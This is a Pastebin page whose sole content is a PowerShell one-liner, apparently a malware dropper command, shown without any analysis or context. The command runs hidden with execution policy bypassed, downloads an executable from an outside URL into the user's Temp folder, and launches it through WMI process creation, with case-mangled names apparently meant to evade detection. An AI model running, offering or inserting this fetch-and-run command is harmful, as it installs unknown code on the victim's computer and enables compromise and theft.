Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- powershell.exe -w hidden -noprofile -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://ebook.4kxxx.gq/page6788.php','C:\Users\admin\AppData\Local\TempJcg21.exe'); InvokE-WMiMethod -ClASS Win32_Process -NAme CreAte -ArGumEntLIST 'C:\Users\admin\AppData\Local\TempJcg21.eXe'
Advertisement
Add Comment
Please, Sign In to add comment
